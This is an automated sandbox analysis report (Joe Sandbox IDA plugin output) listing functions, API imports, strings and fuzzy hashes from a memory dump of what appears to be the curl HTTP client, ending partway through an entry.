Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID: _errno
String ID: $$-
API String ID: 2918714741-1949469437
Opcode ID: fa32aa11e73a4cf59672042418af996aee801304ed5de15bbe94572be34807f2
Instruction ID: 67b2ccbb11ac11c0aeaca2e6ddb661e1905eea28fb45e10c1cb1dd307924d0f5
Opcode Fuzzy Hash: fa32aa11e73a4cf59672042418af996aee801304ed5de15bbe94572be34807f2
Instruction Fuzzy Hash: D361C2716083C18FC7189F6A898423EFFE6BBC5354F144A2DE8E98B391EA74CC458742

Function 0036F1A0 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 117stringCOMMON

Download Yara Rule

APIs

strchr.MSVCRT ref: 0036F1C0
strchr.MSVCRT ref: 0036F1CD
memset.MSVCRT ref: 0036F1FE
strlen.MSVCRT ref: 0036F207
strlen.MSVCRT ref: 0036F287
realloc.MSVCRT ref: 0036F2AD
memcpy.MSVCRT(00000001,?,00000001), ref: 0036F2CC

Strings

proxy, xrefs: 0036F239, 0036F258
Enter %s password for user '%s' on URL #%zu:, xrefs: 0036F259
Enter %s password for user '%s':, xrefs: 0036F23A

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID: strchrstrlen$memcpymemsetrealloc
String ID: Enter %s password for user '%s' on URL #%zu:$Enter %s password for user '%s':$proxy
API String ID: 3824604658-3942158630
Opcode ID: 40526faa81dca782f56c60dab2c093083c44ae9028ab8fc612809545fc33785b
Instruction ID: bd86be5220c0bf2691e185a24e309695e3a2c743b461a607df0a30d29cd3d40f
Opcode Fuzzy Hash: 40526faa81dca782f56c60dab2c093083c44ae9028ab8fc612809545fc33785b
Instruction Fuzzy Hash: F4315ABAA042446FD726A625EC46B9777DC9F95348F094438F988CB242F671ED00C7B2

Function 0036E610 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 83stringCOMMON

Download Yara Rule

APIs

strstr.MSVCRT ref: 0036E61E
strrchr.MSVCRT ref: 0036E631
strlen.MSVCRT ref: 0036E641
strrchr.MSVCRT ref: 0036E65C
strrchr.MSVCRT ref: 0036E674
free.MSVCRT ref: 0036E6BF
free.MSVCRT ref: 0036E6D0

Strings

%s%s, xrefs: 0036E6A0, 0036E6AA
://, xrefs: 0036E618
%s/%s, xrefs: 0036E69B

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID: strrchr$free$strlenstrstr
String ID: %s%s$%s/%s$://
API String ID: 3975967694-3147304931
Opcode ID: 04ffa165e09a551052236737a133602a9e43fa85ce34d0910fcb511598d8abf0
Instruction ID: 65c6e6ff1c9674eeac19e8e4804900afbba051190a5b058382983b59601d84fc
Opcode Fuzzy Hash: 04ffa165e09a551052236737a133602a9e43fa85ce34d0910fcb511598d8abf0
Instruction Fuzzy Hash: 0E1106E7A402052BFB2525225C46F2BB5ADDFE0340F054039FC19DA143F952DD0881B2

Function 00383560 Relevance: 16.6, APIs: 1, Strings: 10, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00383572

Strings

.jpeg, xrefs: 003835C5
.txt, xrefs: 00383612
.htm, xrefs: 00383629
.xml, xrefs: 00383676
.gif, xrefs: 0038358A
.svg, xrefs: 003835FB
.html, xrefs: 00383648
.pdf, xrefs: 0038365F
.jpg, xrefs: 003835A2
.png, xrefs: 003835E0

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID: strlen
String ID: .gif$.htm$.html$.jpeg$.jpg$.pdf$.png$.svg$.txt$.xml
API String ID: 39653677-1880009484
Opcode ID: 99ef50cd0bb9c403b8f0b6787447dd62391977a6d1e740e4ee6b5b8964b57858
Instruction ID: 35cea22b808d6080d80d8839bf0fc16d4441894b8dfb2cd0de414cb5de245727
Opcode Fuzzy Hash: 99ef50cd0bb9c403b8f0b6787447dd62391977a6d1e740e4ee6b5b8964b57858
Instruction Fuzzy Hash: 4F21BB55B6031133FE1775295CDAB3F104A8BA5B54F070578FD09B93C2FA4A8B045372

Function 00366588 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 129stringCOMMON

Download Yara Rule

APIs

strchr.MSVCRT ref: 003665A2

Part of subcall function 00379E60: _errno.MSVCRT ref: 00379E6D
Part of subcall function 00379E60: _errno.MSVCRT ref: 00379EE1

free.MSVCRT ref: 003665FD
_strdup.MSVCRT(?), ref: 00366610
free.MSVCRT ref: 00366D81
_strdup.MSVCRT(?), ref: 00366DA2

Strings

A specified range MUST include at least one dash (-). Appending one for you!, xrefs: 003665C8
unsupported range point, xrefs: 00368EB6
Invalid character is found in given range. A specified range MUST have only digits in 'start'-'stop'. The server's response to this request is uncertain., xrefs: 00366D63
%I64d-, xrefs: 003665E4

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID: _errno_strdupfree$strchr
String ID: %I64d-$A specified range MUST include at least one dash (-). Appending one for you!$Invalid character is found in given range. A specified range MUST have only digits in 'start'-'stop'. The server's response to this request is uncertain.$unsupported range point
API String ID: 2455603386-1864133270
Opcode ID: 2f576d0bb5574a28046d057f75d8f9db354b920c0c8fe0dc04dc26d02bae4d12
Instruction ID: 1c31ff82603a8e7b84734e3827d385a943a65ea85d45d82ca04638cbe2c06b4c
Opcode Fuzzy Hash: 2f576d0bb5574a28046d057f75d8f9db354b920c0c8fe0dc04dc26d02bae4d12
Instruction Fuzzy Hash: 8741E4B0A043419BDF12DF10DC46B6B7BA9AF44344F048579F985AB28AE736DD11C763

Function 0036E24F Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 106COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 0036A201
fclose.MSVCRT ref: 0036A233
free.MSVCRT ref: 0036A24C
free.MSVCRT ref: 0036E274
free.MSVCRT ref: 0036E305
free.MSVCRT ref: 0036E32F
free.MSVCRT ref: 0036E341
free.MSVCRT ref: 0036E353

Strings

P"-, xrefs: 0036E318

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID: free$fclose
String ID: P"-
API String ID: 2681820439-2100482176
Opcode ID: fcac6ca92259736d04852ebc883db10cdfe34220d879edb24e0dfe7daa2cc65d
Instruction ID: e3d288eb494f84c96842936999a28f2d3530ae49b45f32f13cbd38ca0010147a
Opcode Fuzzy Hash: fcac6ca92259736d04852ebc883db10cdfe34220d879edb24e0dfe7daa2cc65d
Instruction Fuzzy Hash: DD316DF9A043809BEB25AB11D855B5BF7E5BF80304F048C2DE89A6B355E735E808CB53

Function 0036676E Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 96filestringCOMMON

Download Yara Rule

APIs

strcmp.MSVCRT ref: 00366781
fopen.MSVCRT ref: 0036679E
free.MSVCRT ref: 00366949
_strdup.MSVCRT ref: 0036695A
free.MSVCRT ref: 00366C8A
fclose.MSVCRT ref: 00366CB8

Strings

@, xrefs: 00366771
Failed to read %s, xrefs: 00366CD6
<stdin>, xrefs: 00366C76, 00366CD5

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID: free$_strdupfclosefopenstrcmp
String ID: <stdin>$@$Failed to read %s
API String ID: 4127137438-3931557418
Opcode ID: 267a2b190cb897c0d3b0e4b2ecdb91c3fc68d55de1fd8ac9c4d01bbe5df0a6ca
Instruction ID: 64cfc7458cf0eea1d3fbe8839728674960ea0119b537da65ff0698a23f63c729
Opcode Fuzzy Hash: 267a2b190cb897c0d3b0e4b2ecdb91c3fc68d55de1fd8ac9c4d01bbe5df0a6ca
Instruction Fuzzy Hash: 6C31F6F19042418FEB129F14DC4672ABBF5EF84340F258124F98597289EB36DC64C7A3

Function 00362510 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 65filestringCOMMON

Download Yara Rule

APIs

fopen.MSVCRT ref: 00362536
fclose.MSVCRT ref: 00362543
strerror.MSVCRT ref: 0036254F
fopen.MSVCRT ref: 00362578
_errno.MSVCRT ref: 003625BA
strerror.MSVCRT ref: 003625C2

Strings

Refusing to overwrite %s: %s, xrefs: 00362559
Remote filename has no length!, xrefs: 00362560
Failed to create the file %s: %s, xrefs: 003625CC

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID: fopenstrerror$_errnofclose
String ID: Failed to create the file %s: %s$Refusing to overwrite %s: %s$Remote filename has no length!
API String ID: 729476436-2765071892
Opcode ID: 6c04ef473a70e9162cdeaa8601efeed7c975e94a47990b2cb123aa846025c0c3
Instruction ID: 803506ef774110c1fda3bd93fa98e215a534f975b965f03b2ce8a0da6cfc4f54
Opcode Fuzzy Hash: 6c04ef473a70e9162cdeaa8601efeed7c975e94a47990b2cb123aa846025c0c3
Instruction Fuzzy Hash: 2D1129F0900A026BE7119B21DC19B57BBB8BF45304F158425F90587685F7B9F5A4CBE2

Function 0036F2F0 Relevance: 15.1, APIs: 5, Strings: 5, Instructions: 54stringCOMMON

Download Yara Rule

APIs

strcmp.MSVCRT ref: 0036F2FF
strcmp.MSVCRT ref: 0036F315
strcmp.MSVCRT ref: 0036F327
strcmp.MSVCRT ref: 0036F339
strcmp.MSVCRT ref: 0036F34B

Strings

1.3, xrefs: 0036F345
1.2, xrefs: 0036F333
default, xrefs: 0036F2F9
1.1, xrefs: 0036F321
1.0, xrefs: 0036F30F

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID: strcmp
String ID: 1.0$1.1$1.2$1.3$default
API String ID: 1004003707-1496453511
Opcode ID: c619967568f9e0398c3bcbee3c56e0eb5623b6d535065e838edccc3528124fc0
Instruction ID: 925a05f686e98f37af60fdeffc5cf242cf17ab05cd41f494c48db3b438bd8dd2
Opcode Fuzzy Hash: c619967568f9e0398c3bcbee3c56e0eb5623b6d535065e838edccc3528124fc0
Instruction Fuzzy Hash: A201D665B856111BDF1E61357C1679F158AAF81301F168034FC44E63D6E624CE5186F5

Function 003660DE Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 115stringfileCOMMON

Download Yara Rule

APIs

strcmp.MSVCRT ref: 003660F3
fopen.MSVCRT ref: 0036610D
strtok.MSVCRT(?,005F4411), ref: 00366C2C
strtok.MSVCRT(00000000,005F4411), ref: 00366C65
free.MSVCRT ref: 003671C5
fclose.MSVCRT ref: 003671D5

Strings

Failed to open %s!, xrefs: 00366D17
p, xrefs: 00366C3E

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID: strtok$fclosefopenfreestrcmp
String ID: Failed to open %s!$p
API String ID: 2714433378-325265304
Opcode ID: 79da51c1d9c6dc757b7a74a1912f8e0902dfbe39c3e5ddaaa501b641f77317d6
Instruction ID: 095a393a6c6e262dbda7324c0f24aead6aff8487dcfb6dad44306f670aa58dd3
Opcode Fuzzy Hash: 79da51c1d9c6dc757b7a74a1912f8e0902dfbe39c3e5ddaaa501b641f77317d6
Instruction Fuzzy Hash: 70314AB1A083019BDB139B25DC46B2B7BE8AFC5384F158929F885D7289FB35DC14C762

Function 00380020 Relevance: 13.7, APIs: 1, Strings: 8, Instructions: 229COMMON

Download Yara Rule

Strings

nghttp2_session_set_local_window_size() failed: %s(%d), xrefs: 003801B5
Copying HTTP/2 data in stream buffer to connection buffer after upgrade: len=%zu, xrefs: 003801E1
nghttp2_submit_settings() failed: %s(%d), xrefs: 00380155
http/2: failed to set user_data for stream %d!, xrefs: 0038017E
nghttp2_session_send() failed: %s(%d), xrefs: 0038032D
nghttp2_session_upgrade() failed: %s(%d), xrefs: 003800C2
nghttp2_session_mem_recv() failed: %s(%d), xrefs: 0038023D
connection buffer size is too small to store data following HTTP Upgrade response header: buflen=%zu, datalen=%zu, xrefs: 003801D6

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID:
String ID: Copying HTTP/2 data in stream buffer to connection buffer after upgrade: len=%zu$connection buffer size is too small to store data following HTTP Upgrade response header: buflen=%zu, datalen=%zu$http/2: failed to set user_data for stream %d!$nghttp2_session_mem_recv() failed: %s(%d)$nghttp2_session_send() failed: %s(%d)$nghttp2_session_set_local_window_size() failed: %s(%d)$nghttp2_session_upgrade() failed: %s(%d)$nghttp2_submit_settings() failed: %s(%d)
API String ID: 0-1573709828
Opcode ID: bb8b98c2ae0294948bb3431a3d40a7e2989551dd50f5419be2002e427b7e971f
Instruction ID: 3a94cdb4d1e28f4cd944a20e6ab69553dc549ac69a0129d90095c6da4255b902
Opcode Fuzzy Hash: bb8b98c2ae0294948bb3431a3d40a7e2989551dd50f5419be2002e427b7e971f
Instruction Fuzzy Hash: EF81D4B5600745AFEB6AAF10DC41BEB77A9FF44304F054568FC488F242E772AA54CB91

Function 0038F7C1 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 202filestringCOMMON

Download Yara Rule

APIs

fopen.MSVCRT ref: 0038F7D0
fgets.MSVCRT ref: 0038F88B
strlen.MSVCRT ref: 0038F8B1
fgets.MSVCRT ref: 0038F970
time.MSVCRT(00000000), ref: 0038F9BC
fclose.MSVCRT ref: 0038FADD

Strings

Set-Cookie:, xrefs: 0038F912

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID: fgets$fclosefopenstrlentime
String ID: Set-Cookie:
API String ID: 2140967147-2427311273
Opcode ID: c1759c8b9a63042ea0bc987935ad0959ae28386fa67868b3e11be9e94d0b53e2
Instruction ID: b80e62955c7c2b8119707d92badc3d0d65cd1058d0e09f09a39d6e93718cc145
Opcode Fuzzy Hash: c1759c8b9a63042ea0bc987935ad0959ae28386fa67868b3e11be9e94d0b53e2
Instruction Fuzzy Hash: 62516DB1900301AFE726AF24DC4A75B77A1AF90318F0944B8F98D9B261E775DC58CB53

Function 0038D940 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 135stringCOMMON

Download Yara Rule

APIs

tolower.MSVCRT ref: 0038D971
strlen.MSVCRT ref: 0038D985
time.MSVCRT(?), ref: 0038D9CB
strlen.MSVCRT ref: 0038DA75

Strings

Hostname in DNS cache was stale, zapped, xrefs: 0038D9F6
%s:%d, xrefs: 0038D94E, 0038DA42

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID: strlen$timetolower
String ID: %s:%d$Hostname in DNS cache was stale, zapped
API String ID: 2483798501-2902227024
Opcode ID: 8621593b241090f9cd2369f3e3f309d8996b7d4c814697529b2ff153e8657f21
Instruction ID: 5d67e1faa875618ff0dc819121ca604283c224814af5df89e0ce816e7c780cd8
Opcode Fuzzy Hash: 8621593b241090f9cd2369f3e3f309d8996b7d4c814697529b2ff153e8657f21
Instruction Fuzzy Hash: B94168B1A083416FE716BA75AC4592B77E8CF81314F294078F8588A282FB38DD15C3A2

Function 005E7A00 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 106COMMON

Download Yara Rule

APIs

VirtualQuery.KERNEL32 ref: 005E7A8D

Strings

Address %p has no image-section, xrefs: 005E7B3B
VirtualProtect failed with code 0x%x, xrefs: 005E7AFA
@, xrefs: 005E7AD8
VirtualQuery failed for %d bytes at address %p, xrefs: 005E7B27

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID: QueryVirtual
String ID: VirtualProtect failed with code 0x%x$ VirtualQuery failed for %d bytes at address %p$@$Address %p has no image-section
API String ID: 1804819252-1098444051
Opcode ID: c1afa7f1e5855bfc86c7233a92e3c8120b02acfc0fea58da8671efab1248dd2a
Instruction ID: c35f45eb2baeadf850e9831152ead46ca828d1e6745d6705312a9e898675560d
Opcode Fuzzy Hash: c1afa7f1e5855bfc86c7233a92e3c8120b02acfc0fea58da8671efab1248dd2a
Instruction Fuzzy Hash: 764160B1A043559FC714EF69D88465AFFF1FF88350F458A2AE8888B311E770E945CB91

Function 00369CA0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 102stringfileCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00369CAE
strlen.MSVCRT ref: 00369CDE
fputs.MSVCRT ref: 00369D17
fwrite.MSVCRT ref: 00369D63
fputc.MSVCRT ref: 00369D70

Strings

Warning: , xrefs: 00369CAD

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
